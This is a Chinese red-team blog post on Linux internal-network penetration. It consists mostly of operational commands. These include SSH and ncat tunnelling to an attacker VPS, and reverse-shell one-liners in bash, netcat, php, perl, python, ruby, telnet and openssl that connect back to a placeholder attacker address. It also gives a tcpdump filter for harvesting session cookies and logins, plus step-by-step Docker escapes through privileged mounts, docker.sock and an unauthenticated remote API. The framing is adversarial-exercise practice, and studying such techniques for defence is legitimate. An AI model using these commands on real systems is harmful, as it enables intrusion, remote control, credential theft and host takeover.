红蓝对抗之Linux内网渗透


红蓝对抗之Linux内网渗透


隧道

Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。

SSH

Linux使用SSH常用的开启隧道的命令。

场景1:在控制A机器时,利用socks代理进入A机器所在内网

ssh -qTfnN -D 1111 root@1.1.1.1

输入A机器的密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。

场景2:如果控制A、B机器,A能访问B,且能出网,B能访问C,但不能出网,A不能访问C

在A机器上执行:

ssh -CNfg -L 2121:CIP:21 root@BIP

输入BIP机器的密码,访问A的2121端口即是访问CIP的21端口。

场景3:控制A机器,A能访问B

A机器执行:

ssh -CNfg -R 2121:BIP:21 root@hackervps

输入vps的密码,访问vps的2121端口即是访问BIP的21端口。

nc/ncat

服务端执行监听命令:

ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open

客户端连接服务器端的80端口即可SSH连接

ssh root@serverip -p 80

portmap

服务端执行:

portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

portfw

服务端执行:

tcpfwd 0.0.0.0:443 127.0.0.1:22

客户端连接服务端的443端口即可SSH连接:

ssh root@serverip -p 443

反弹shell

bash

bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'

netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc yourip yourport >/tmp/f

php

php -r '$sock=fsockopen(getenv("yourip"),getenv("yourport"));exec("/bin/sh -i <&3 >&3 2>&3");'

perl

perl -e 'use Socket;$i="$ENV{yourip}";$p=$ENV{yourport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import sys,socket,os,pty;s=socket.socket()  s.connect((os.getenv("yourip"),int(os.getenv("yourport"))))  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]  pty.spawn("/bin/sh")'

ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["yourip"],ENV["yourport"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

telnet

TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF

openssl 加密

服务端生成证书:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

服务端监听:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

受控端执行:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect yourip:yourport > /tmp/s; rm /tmp/s

完全交互式shell

attack端执行:

stty -echo raw; nc -lp 1337; stty sane

victim端执行:

nc -c '/bin/bash -c "script /dev/null"' yourip 1337

tcpdump

tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。
下面是抓取http数据包的命令示例:

tcpdump -i eth1 -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

docker

判断是否是docker环境

  • 进程数很少,比如少于10条
  • 常见的命令没有,比如没有wget
  • 存在/.dockerenv文件
  • /proc/1/cgroup内包含“docker”字符串

逃逸

逃逸是指我们在容器中逃逸到宿主机中。

特权容器

当容器是以特权启动时,docker将允许容器访问宿主机上的所有设备。
如下容器是进行特权启动(docker run —privileged)的,我们可以把宿主机磁盘挂载进容器里,然后进行相关的逃逸操作,包括不限于更改计划任务、文件。

fdisk -l|grep /dev/vda1
mkdir /test
mount /dev/vda1 /test
chroot /test

Docker Socket

/var/run/docker.sock文件是Docker守护进程默认监听的Unix域套接字,容器中的进程可以通过该文件与docker守护进程进行通信。

当攻击者可控的容器内挂载了该文件,我们也可以对其进行逃逸。
首先我们用如下命令创建一个特权测试容器:

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock  d6e46aa2470d

比如我们控制了上述容器,并发现其挂载了docker.sock

那么我们可以利用/var/run/docker.sock创建特权容器(附录5):

docker -H unix:///var/run/docker.sock pull alpine:latest
docker -H unix:///var/run/docker.sock run -d -it --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
docker -H unix:///var/run/docker.sock start rshell
docker -H unix:///var/run/docker.sock exec -it rshell /bin/sh

未授权访问

当默认端口为2375的Docker Remote API对外未授权开放时,攻击者可以利用该漏洞进行getshell。
未授权测试过程:
获取所有images列表:

curl http://host:2375/containers/json

获取运行中的容器:

docker -H tcp://host:2375 ps

getshell过程:
获取镜像:

docker -H tcp://host:2375 images

根据镜像创建容器,把宿主机根目录挂载到容器中:

docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash

创建容器后没自动进入容器的话,可以利用ps查看创建容器的CONTAINER ID:

docker -H tcp://host:2375 ps

然后进入容器:

docker -H tcp://host:2375 exec -it CONTAINERID sh

进入到挂载进来的磁盘中,并切换根目录,则可以看到宿主机进程:

chroot /mnt sh

因为挂载把宿主机根目录挂载到了容器中的/mnt目录中,就再次回到了上述逃逸的攻击手段了,其他就不再赘述。


文章作者: Danie1
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Danie1 !
 上一篇
weblogic 未授权命令执行漏洞(CVE-2020-14882)复现 weblogic 未授权命令执行漏洞(CVE-2020-14882)复现
weblogic 未授权命令执行漏洞(CVE-2020-14882)复现 影响版本 Oracle Weblogic Server 10.3.6.0.0 Oracle Weblogic Server 12.1.3.0.0 Oracle W
2020-12-28
下一篇 
LLMNR Poison内网攻击技术 LLMNR Poison内网攻击技术
LLMNR Poison内网攻击技术 攻击者在启动 Responder 后,当受害者去访问一个在当前局域网中不存在的主机时就会触发 LLMNR Poison 攻击,如下图所示: 受害者主机 PING 一台局域网中并不存在的主机。Respo
2020-12-26
  目录